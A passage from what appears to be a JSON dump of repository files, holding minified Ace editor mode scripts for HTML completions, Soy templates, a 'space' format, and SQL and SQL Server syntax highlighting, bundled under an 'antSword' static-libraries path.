o})};r.inherits(u,i)}),ace.define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:[\"manifest\"],head:[],title:[],base:[\"href\",\"target\"],link:[\"href\",\"hreflang\",\"rel\",\"media\",\"type\",\"sizes\"],meta:[\"http-equiv\",\"name\",\"content\",\"charset\"],style:[\"type\",\"media\",\"scoped\"],script:[\"charset\",\"type\",\"src\",\"defer\",\"async\"],noscript:[\"href\"],body:[\"onafterprint\",\"onbeforeprint\",\"onbeforeunload\",\"onhashchange\",\"onmessage\",\"onoffline\",\"onpopstate\",\"onredo\",\"onresize\",\"onstorage\",\"onundo\",\"onunload\"],section:[],nav:[],article:[\"pubdate\"],aside:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],header:[],footer:[],address:[],main:[],p:[],hr:[],pre:[],blockquote:[\"cite\"],ol:[\"start\",\"reversed\"],ul:[],li:[\"value\"],dl:[],dt:[],dd:[],figure:[],figcaption:[],div:[],a:[\"href\",\"target\",\"ping\",\"rel\",\"media\",\"hreflang\",\"type\"],em:[],strong:[],small:[],s:[],cite:[],q:[\"cite\"],dfn:[],abbr:[],data:[],time:[\"datetime\"],code:[],\"var\":[],samp:[],kbd:[],sub:[],sup:[],i:[],b:[],u:[],mark:[],ruby:[],rt:[],rp:[],bdi:[],bdo:[],span:[],br:[],wbr:[],ins:[\"cite\",\"datetime\"],del:[\"cite\",\"datetime\"],img:[\"alt\",\"src\",\"height\",\"width\",\"usemap\",\"ismap\"],iframe:[\"name\",\"src\",\"height\",\"width\",\"sandbox\",\"seamless\"],embed:[\"src\",\"height\",\"width\",\"type\"],object:[\"param\",\"data\",\"type\",\"height\",\"width\",\"usemap\",\"name\",\"form\",\"classid\"],param:[\"name\",\"value\"],video:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\",\"width\",\"height\",\"poster\"],audio:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\"],source:[\"src\",\"type\",\"media\"],track:[\"kind\",\"src\",\"srclang\",\"label\",\"default\"],canvas:[\"width\",\"height\"],map:[\"name\"],area:[\"shape\",\"coords\",\"href\",\"hreflang\",\"alt\",\"target\",\"media\",\"rel\",\"ping\",\"type\"],svg:[],math:[],table:[\"summary\"],caption:[],colgroup:[\"span\"],col:[\"span\"],tbody:[],thead:[],tfoot:[],tr:[],td:[\"headers\",\"rowspan\",\"colspan\"],th:[\"headers\",\"rowspan\",\"colspan\",\"scope\"],form:[\"accept-charset\",\"action\",\"autocomplete\",\"enctype\",\"method\",\"name\",\"novalidate\",\"target\"],fieldset:[\"disabled\",\"form\",\"name\"],legend:[],label:[\"form\",\"for\"],input:[\"type\",\"accept\",\"alt\",\"autocomplete\",\"checked\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"height\",\"list\",\"max\",\"maxlength\",\"min\",\"multiple\",\"pattern\",\"placeholder\",\"readonly\",\"required\",\"size\",\"src\",\"step\",\"width\",\"files\",\"value\"],button:[\"autofocus\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"name\",\"value\",\"type\"],select:[\"autofocus\",\"disabled\",\"form\",\"multiple\",\"name\",\"size\"],datalist:[],optgroup:[\"disabled\",\"label\"],option:[\"disabled\",\"selected\",\"label\",\"value\"],textarea:[\"autofocus\",\"disabled\",\"form\",\"maxlength\",\"name\",\"placeholder\",\"readonly\",\"required\",\"rows\",\"cols\",\"wrap\"],keygen:[\"autofocus\",\"challenge\",\"disabled\",\"form\",\"keytype\",\"name\"],output:[\"for\",\"form\",\"name\"],progress:[\"value\",\"max\"],meter:[\"value\",\"min\",\"max\",\"low\",\"high\",\"optimum\"],details:[\"open\"],summary:[],command:[\"type\",\"label\",\"icon\",\"disabled\",\"checked\",\"radiogroup\",\"command\"],menu:[\"type\",\"label\"],dialog:[\"open\"]},a=Object.keys(u),c=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);return i?f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\")?this.getTagCompletions(e,t,n,r):f(i,\"tag-whitespace\")||f(i,\"attribute-name\")?this.getAttributeCompetions(e,t,n,r):[]:[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompetions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(u[i])),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})}}).call(c.prototype),t.HtmlCompletions=c}),ace.define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),ace.define(\"ace/mode/soy_template_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html_highlight_rules\").HtmlHighlightRules,s=function(){i.call(this);var e={start:[{include:\"#template\"},{include:\"#if\"},{include:\"#comment-line\"},{include:\"#comment-block\"},{include:\"#comment-doc\"},{include:\"#call\"},{include:\"#css\"},{include:\"#param\"},{include:\"#print\"},{include:\"#msg\"},{include:\"#for\"},{include:\"#foreach\"},{include:\"#switch\"},{include:\"#tag\"},{include:\"text.html.basic\"}],\"#call\":[{token:[\"punctuation.definition.tag.begin.soy\",\"meta.tag.call.soy\"],regex:\"(\\\\{/?)(\\\\s*)(?=call|delcall)\",push:[{token:\"punctuation.definition.tag.end.soy\",regex:\"\\\\}\",next:\"pop\"},{include:\"#string-quoted-single\"},{include:\"#string-quoted-double\"},{token:[\"entity.name.tag.soy\",\"variable.parameter.soy\"],regex:\"(call|delcall)(\\\\s+[\\\\.\\\\w]+)\"},{token:[\"entity.other.attribute-name.soy\",\"text\",\"keyword.operator.soy\"],regex:\"\\\\b(data)(\\\\s*)(=)\"},{defaultToken:\"meta.tag.call.soy\"}]}],\"#comment-line\":[{token:[\"comment.line.double-slash.soy\",\"punctuation.definition.comment.soy\",\"comment.line.double-slash.soy\"],regex:\"(\\\\s+)(//)(.*$)\"}],\"#comment-block\":[{token:\"punctuation.definition.comment.begin.soy\",regex:\"/\\\\*(?!\\\\*)\",push:[{token:\"punctuation.definition.comment.end.soy\",regex:\"\\\\*/\",next:\"pop\"},{defaultToken:\"comment.block.soy\"}]}],\"#comment-doc\":[{token:\"punctuation.definition.comment.begin.soy\",regex:\"/\\\\*\\\\*(?!/)\",push:[{token:\"punctuation.definition.comment.end.soy\",regex:\"\\\\*/\",next:\"pop\"},{token:[\"support.type.soy\",\"text\",\"variable.parameter.soy\"],regex:\"(@param|@param\\\\?)(\\\\s+)(\\\\w+)\"},{defaultToken:\"comment.block.documentation.soy\"}]}],\"#css\":[{token:[\"punctuation.definition.tag.begin.soy\",\"meta.tag.css.soy\",\"entity.name.tag.soy\"],regex:\"(\\\\{/?)(\\\\s*)(css)\\\\b\",push:[{token:\"punctuation.definition.tag.end.soy\",regex:\"\\\\}\",next:\"pop\"},{token:\"support.constant.soy\",regex:\"\\\\b(?:LITERAL|REFERENCE|BACKEND_SPECIFIC|GOOG)\\\\b\"},{defaultToken:\"meta.tag.css.soy\"}]}],\"#for\":[{token:[\"punctuation.definition.tag.begin.soy\",\"meta.tag.for.soy\",\"entity.name.tag.soy\"],regex:\"(\\\\{/?)(\\\\s*)(for)\\\\b\",push:[{token:\"punctuation.definition.tag.end.soy\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword.operator.soy\",regex:\"\\\\bin\\\\b\"},{token:\"support.function.soy\",regex:\"\\\\brange\\\\b\"},{include:\"#variable\"},{include:\"#number\"},{include:\"#primitive\"},{defaultToken:\"meta.tag.for.soy\"}]}],\"#foreach\":[{token:[\"punctuation.definition.tag.begin.soy\",\"meta.tag.foreach.soy\",\"entity.name.tag.soy\"],regex:\"(\\\\{/?)(\\\\s*)(foreach)\\\\b\",push:[{token:\"punctuation.definition.tag.end.soy\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword.operator.soy\",regex:\"\\\\bin\\\\b\"},{include:\"#variable\"},{defaultToken:\"meta.tag.foreach.soy\"}]}],\"#function\":[{token:\"support.function.soy\",regex:\"\\\\b(?:isFirst|isLast|index|hasData|length|keys|round|floor|ceiling|min|max|randomInt)\\\\b\"}],\"#if\":[{token:[\"punctuation.definition.tag.begin.soy\",\"meta.tag.if.soy\",\"entity.name.tag.soy\"],regex:\"(\\\\{/?)(\\\\s*)(if|elseif)\\\\b\",push:[{token:\"punctuation.definition.tag.end.soy\",regex:\"\\\\}\",next:\"pop\"},{include:\"#variable\"},{include:\"#operator\"},{include:\"#function\"},{include:\"#string-quoted-single\"},{include:\"#string-quoted-double\"},{defaultToken:\"meta.tag.if.soy\"}]}],\"#namespace\":[{token:[\"entity.name.tag.soy\",\"text\",\"variable.parameter.soy\"],regex:\"(namespace|delpackage)(\\\\s+)([\\\\w\\\\.]+)\"}],\"#number\":[{token:\"constant.numeric\",regex:\"[\\\\d]+\"}],\"#operator\":[{token:\"keyword.operator.soy\",regex:\"==|!=|\\\\band\\\\b|\\\\bor\\\\b|\\\\bnot\\\\b|-|\\\\+|/|\\\\?:\"}],\"#param\":[{token:[\"punctuation.definition.tag.begin.soy\",\"meta.tag.param.soy\",\"entity.name.tag.soy\"],regex:\"(\\\\{/?)(\\\\s*)(param)\",push:[{token:\"punctuation.definition.tag.end.soy\",regex:\"\\\\}\",next:\"pop\"},{include:\"#variable\"},{token:[\"entity.other.attribute-name.soy\",\"text\",\"keyword.operator.soy\"],regex:\"\\\\b([\\\\w]+)(\\\\s*)((?::)?)\"},{defaultToken:\"meta.tag.param.soy\"}]}],\"#primitive\":[{token:\"constant.language.soy\",regex:\"\\\\b(?:null|false|true)\\\\b\"}],\"#msg\":[{token:[\"punctuation.definition.tag.begin.soy\",\"meta.tag.msg.soy\",\"entity.name.tag.soy\"],regex:\"(\\\\{/?)(\\\\s*)(msg)\\\\b\",push:[{token:\"punctuation.definition.tag.end.soy\",regex:\"\\\\}\",next:\"pop\"},{include:\"#string-quoted-single\"},{include:\"#string-quoted-double\"},{token:[\"entity.other.attribute-name.soy\",\"text\",\"keyword.operator.soy\"],regex:\"\\\\b(meaning|desc)(\\\\s*)(=)\"},{defaultToken:\"meta.tag.msg.soy\"}]}],\"#print\":[{token:[\"punctuation.definition.tag.begin.soy\",\"meta.tag.print.soy\",\"entity.name.tag.soy\"],regex:\"(\\\\{/?)(\\\\s*)(print)\\\\b\",push:[{token:\"punctuation.definition.tag.end.soy\",regex:\"\\\\}\",next:\"pop\"},{include:\"#variable\"},{include:\"#print-parameter\"},{include:\"#number\"},{include:\"#primitive\"},{include:\"#attribute-lookup\"},{defaultToken:\"meta.tag.print.soy\"}]}],\"#print-parameter\":[{token:\"keyword.operator.soy\",regex:\"\\\\|\"},{token:\"variable.parameter.soy\",regex:\"noAutoescape|id|escapeHtml|escapeJs|insertWorkBreaks|truncate\"}],\"#special-character\":[{token:\"support.constant.soy\",regex:\"\\\\bsp\\\\b|\\\\bnil\\\\b|\\\\\\\\r|\\\\\\\\n|\\\\\\\\t|\\\\blb\\\\b|\\\\brb\\\\b\"}],\"#string-quoted-double\":[{token:\"string.quoted.double\",regex:'\"[^\"]*\"'}],\"#string-quoted-single\":[{token:\"string.quoted.single\",regex:\"'[^']*'\"}],\"#switch\":[{token:[\"punctuation.definition.tag.begin.soy\",\"meta.tag.switch.soy\",\"entity.name.tag.soy\"],regex:\"(\\\\{/?)(\\\\s*)(switch|case)\\\\b\",push:[{token:\"punctuation.definition.tag.end.soy\",regex:\"\\\\}\",next:\"pop\"},{include:\"#variable\"},{include:\"#function\"},{include:\"#number\"},{include:\"#string-quoted-single\"},{include:\"#string-quoted-double\"},{defaultToken:\"meta.tag.switch.soy\"}]}],\"#attribute-lookup\":[{token:\"punctuation.definition.attribute-lookup.begin.soy\",regex:\"\\\\[\",push:[{token:\"punctuation.definition.attribute-lookup.end.soy\",regex:\"\\\\]\",next:\"pop\"},{include:\"#variable\"},{include:\"#function\"},{include:\"#operator\"},{include:\"#number\"},{include:\"#primitive\"},{include:\"#string-quoted-single\"},{include:\"#string-quoted-double\"}]}],\"#tag\":[{token:\"punctuation.definition.tag.begin.soy\",regex:\"\\\\{\",push:[{token:\"punctuation.definition.tag.end.soy\",regex:\"\\\\}\",next:\"pop\"},{include:\"#namespace\"},{include:\"#variable\"},{include:\"#special-character\"},{include:\"#tag-simple\"},{include:\"#function\"},{include:\"#operator\"},{include:\"#attribute-lookup\"},{include:\"#number\"},{include:\"#primitive\"},{include:\"#print-parameter\"}]}],\"#tag-simple\":[{token:\"entity.name.tag.soy\",regex:\"{{\\\\s*(?:literal|else|ifempty|default)\\\\s*(?=\\\\})\"}],\"#template\":[{token:[\"punctuation.definition.tag.begin.soy\",\"meta.tag.template.soy\"],regex:\"(\\\\{/?)(\\\\s*)(?=template|deltemplate)\",push:[{token:\"punctuation.definition.tag.end.soy\",regex:\"\\\\}\",next:\"pop\"},{token:[\"entity.name.tag.soy\",\"text\",\"entity.name.function.soy\"],regex:\"(template|deltemplate)(\\\\s+)([\\\\.\\\\w]+)\",originalRegex:\"(?<=template|deltemplate)\\\\s+([\\\\.\\\\w]+)\"},{token:[\"entity.other.attribute-name.soy\",\"text\",\"keyword.operator.soy\",\"text\",\"string.quoted.double.soy\"],regex:'\\\\b(private)(\\\\s*)(=)(\\\\s*)(\"true\"|\"false\")'},{token:[\"entity.other.attribute-name.soy\",\"text\",\"keyword.operator.soy\",\"text\",\"string.quoted.single.soy\"],regex:\"\\\\b(private)(\\\\s*)(=)(\\\\s*)('true'|'false')\"},{token:[\"entity.other.attribute-name.soy\",\"text\",\"keyword.operator.soy\",\"text\",\"string.quoted.double.soy\"],regex:'\\\\b(autoescape)(\\\\s*)(=)(\\\\s*)(\"true\"|\"false\"|\"contextual\")'},{token:[\"entity.other.attribute-name.soy\",\"text\",\"keyword.operator.soy\",\"text\",\"string.quoted.single.soy\"],regex:\"\\\\b(autoescape)(\\\\s*)(=)(\\\\s*)('true'|'false'|'contextual')\"},{defaultToken:\"meta.tag.template.soy\"}]}],\"#variable\":[{token:\"variable.other.soy\",regex:\"\\\\$[\\\\w\\\\.]+\"}]};for(var t in e)this.$rules[t]?this.$rules[t].unshift.call(this.$rules[t],e[t]):this.$rules[t]=e[t];this.normalizeRules()};s.metaData={comment:\"SoyTemplate\",fileTypes:[\"soy\"],firstLineMatch:\"\\\\{\\\\s*namespace\\\\b\",foldingStartMarker:\"\\\\{\\\\s*template\\\\s+[^\\\\}]*\\\\}\",foldingStopMarker:\"\\\\{\\\\s*/\\\\s*template\\\\s*\\\\}\",name:\"SoyTemplate\",scopeName:\"source.soy\"},r.inherits(s,i),t.SoyTemplateHighlightRules=s}),ace.define(\"ace/mode/soy_template\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html\",\"ace/mode/soy_template_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html\").Mode,s=e(\"./soy_template_highlight_rules\").SoyTemplateHighlightRules,o=function(){i.call(this),this.HighlightRules=s};r.inherits(o,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/soy_template\"}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "antSword/static/libs/ace/mode-space.js",
    "content": "ace.define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),ace.define(\"ace/mode/space_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"empty_line\",regex:/ */,next:\"key\"},{token:\"empty_line\",regex:/$/,next:\"key\"}],key:[{token:\"variable\",regex:/\\S+/},{token:\"empty_line\",regex:/$/,next:\"start\"},{token:\"keyword.operator\",regex:/ /,next:\"value\"}],value:[{token:\"keyword.operator\",regex:/$/,next:\"start\"},{token:\"string\",regex:/[^$]/}]}};r.inherits(s,i),t.SpaceHighlightRules=s}),ace.define(\"ace/mode/space\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/folding/coffee\",\"ace/mode/space_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./folding/coffee\").FoldMode,o=e(\"./space_highlight_rules\").SpaceHighlightRules,u=function(){this.HighlightRules=o,this.foldingRules=new s};r.inherits(u,i),function(){this.$id=\"ace/mode/space\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-sql.js",
    "content": "ace.define(\"ace/mode/sql_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"select|insert|update|delete|from|where|and|or|group|by|order|limit|offset|having|as|case|when|else|end|type|left|right|join|on|outer|desc|asc|union|create|table|primary|key|if|foreign|not|references|default|null|inner|cross|natural|database|drop|grant\",t=\"true|false\",n=\"avg|count|first|last|max|min|sum|ucase|lcase|mid|len|round|rank|now|format|coalesce|ifnull|isnull|nv|\",r=\"int|numeric|decimal|date|varchar|char|bigint|float|double|bit|binary|text|set|timestamp|money|real|number|integer\",i=this.createKeywordMapper({\"support.function\":n,keyword:e,\"constant.language\":t,\"storage.type\":r},\"identifier\",!0);this.$rules={start:[{token:\"comment\",regex:\"--.*$\"},{token:\"comment\",start:\"/\\\\*\",end:\"\\\\*/\"},{token:\"string\",regex:'\".*?\"'},{token:\"string\",regex:\"'.*?'\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:i,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\/|\\\\/\\\\/|%|<@>|@>|<@|&|\\\\^|~|<|>|<=|=>|==|!=|<>|=\"},{token:\"paren.lparen\",regex:\"[\\\\(]\"},{token:\"paren.rparen\",regex:\"[\\\\)]\"},{token:\"text\",regex:\"\\\\s+\"}]},this.normalizeRules()};r.inherits(s,i),t.SqlHighlightRules=s}),ace.define(\"ace/mode/sql\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/sql_highlight_rules\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./sql_highlight_rules\").SqlHighlightRules,o=e(\"../range\").Range,u=function(){this.HighlightRules=s};r.inherits(u,i),function(){this.lineCommentStart=\"--\",this.$id=\"ace/mode/sql\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-sqlserver.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/sqlserver_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=\"ALL|AND|ANY|BETWEEN|EXISTS|IN|LIKE|NOT|OR|SOME\";e+=\"|NULL|IS|APPLY|INNER|OUTER|LEFT|RIGHT|JOIN|CROSS\";var t=\"OPENDATASOURCE|OPENQUERY|OPENROWSET|OPENXML|AVG|CHECKSUM_AGG|COUNT|COUNT_BIG|GROUPING|GROUPING_ID|MAX|MIN|STDEV|STDEVP|SUM|VAR|VARP|DENSE_RANK|NTILE|RANK|ROW_NUMBER@@DATEFIRST|@@DBTS|@@LANGID|@@LANGUAGE|@@LOCK_TIMEOUT|@@MAX_CONNECTIONS|@@MAX_PRECISION|@@NESTLEVEL|@@OPTIONS|@@REMSERVER|@@SERVERNAME|@@SERVICENAME|@@SPID|@@TEXTSIZE|@@VERSION|CAST|CONVERT|PARSE|TRY_CAST|TRY_CONVERT|TRY_PARSE@@CURSOR_ROWS|@@FETCH_STATUS|CURSOR_STATUS|@@DATEFIRST|@@LANGUAGE|CURRENT_TIMESTAMP|DATEADD|DATEDIFF|DATEFROMPARTS|DATENAME|DATEPART|DATETIME2FROMPARTS|DATETIMEFROMPARTS|DATETIMEOFFSETFROMPARTS|DAY|EOMONTH|GETDATE|GETUTCDATE|ISDATE|MONTH|SET DATEFIRST|SET DATEFORMAT|SET LANGUAGE|SMALLDATETIMEFROMPARTS|SP_HELPLANGUAGE|SWITCHOFFSET|SYSDATETIME|SYSDATETIMEOFFSET|SYSUTCDATETIME|TIMEFROMPARTS|TODATETIMEOFFSET|YEAR|CHOOSE|IIF|ABS|ACOS|ASIN|ATAN|ATN2|CEILING|COS|COT|DEGREES|EXP|FLOOR|LOG|LOG10|PI|POWER|RADIANS|RAND|ROUND|SIGN|SIN|SQRT|SQUARE|TAN|@@PROCID|APPLOCK_MODE|APPLOCK_TEST|APP_NAME|ASSEMBLYPROPERTY|COLUMNPROPERTY|COL_LENGTH|COL_NAME|DATABASEPROPERTYEX|DATABASE_PRINCIPAL_ID|DB_ID|DB_NAME|FILEGROUPPROPERTY|FILEGROUP_ID|FILEGROUP_NAME|FILEPROPERTY|FILE_ID|FILE_IDEX|FILE_NAME|FULLTEXTCATALOGPROPERTY|FULLTEXTSERVICEPROPERTY|INDEXKEY_PROPERTY|INDEXPROPERTY|INDEX_COL|OBJECTPROPERTY|OBJECTPROPERTYEX|OBJECT_DEFINITION|OBJECT_ID|OBJECT_NAME|OBJECT_SCHEMA_NAME|ORIGINAL_DB_NAME|PARSENAME|SCHEMA_ID|SCHEMA_NAME|SCOPE_IDENTITY|SERVERPROPERTY|STATS_DATE|TYPEPROPERTY|TYPE_ID|TYPE_NAME|CERTENCODED|CERTPRIVATEKEY|CURRENT_USER|DATABASE_PRINCIPAL_ID|HAS_PERMS_BY_NAME|IS_MEMBER|IS_ROLEMEMBER|IS_SRVROLEMEMBER|ORIGINAL_LOGIN|PERMISSIONS|PWDCOMPARE|PWDENCRYPT|SCHEMA_ID|SCHEMA_NAME|SESSION_USER|SUSER_ID|SUSER_NAME|SUSER_SID|SUSER_SNAME|SYS.FN_BUILTIN_PERMISSIONS|SYS.FN_GET_AUDIT_FILE|SYS.FN_MY_PERMISSIONS|SYSTEM_USER|USER_ID|USER_NAME|ASCII|CHAR|CHARINDEX|CONCAT|DIFFERENCE|FORMAT|LEN|LOWER|LTRIM|NCHAR|PATINDEX|QUOTENAME|REPLACE|REPLICATE|REVERSE|RTRIM|SOUNDEX|SPACE|STR|STUFF|SUBSTRING|UNICODE|UPPER|$PARTITION|@@ERROR|@@IDENTITY|@@PACK_RECEIVED|@@ROWCOUNT|@@TRANCOUNT|BINARY_CHECKSUM|CHECKSUM|CONNECTIONPROPERTY|CONTEXT_INFO|CURRENT_REQUEST_ID|ERROR_LINE|ERROR_MESSAGE|ERROR_NUMBER|ERROR_PROCEDURE|ERROR_SEVERITY|ERROR_STATE|FORMATMESSAGE|GETANSINULL|GET_FILESTREAM_TRANSACTION_CONTEXT|HOST_ID|HOST_NAME|ISNULL|ISNUMERIC|MIN_ACTIVE_ROWVERSION|NEWID|NEWSEQUENTIALID|ROWCOUNT_BIG|XACT_STATE|@@CONNECTIONS|@@CPU_BUSY|@@IDLE|@@IO_BUSY|@@PACKET_ERRORS|@@PACK_RECEIVED|@@PACK_SENT|@@TIMETICKS|@@TOTAL_ERRORS|@@TOTAL_READ|@@TOTAL_WRITE|FN_VIRTUALFILESTATS|PATINDEX|TEXTPTR|TEXTVALID|COALESCE|NULLIF\",n=\"BIGINT|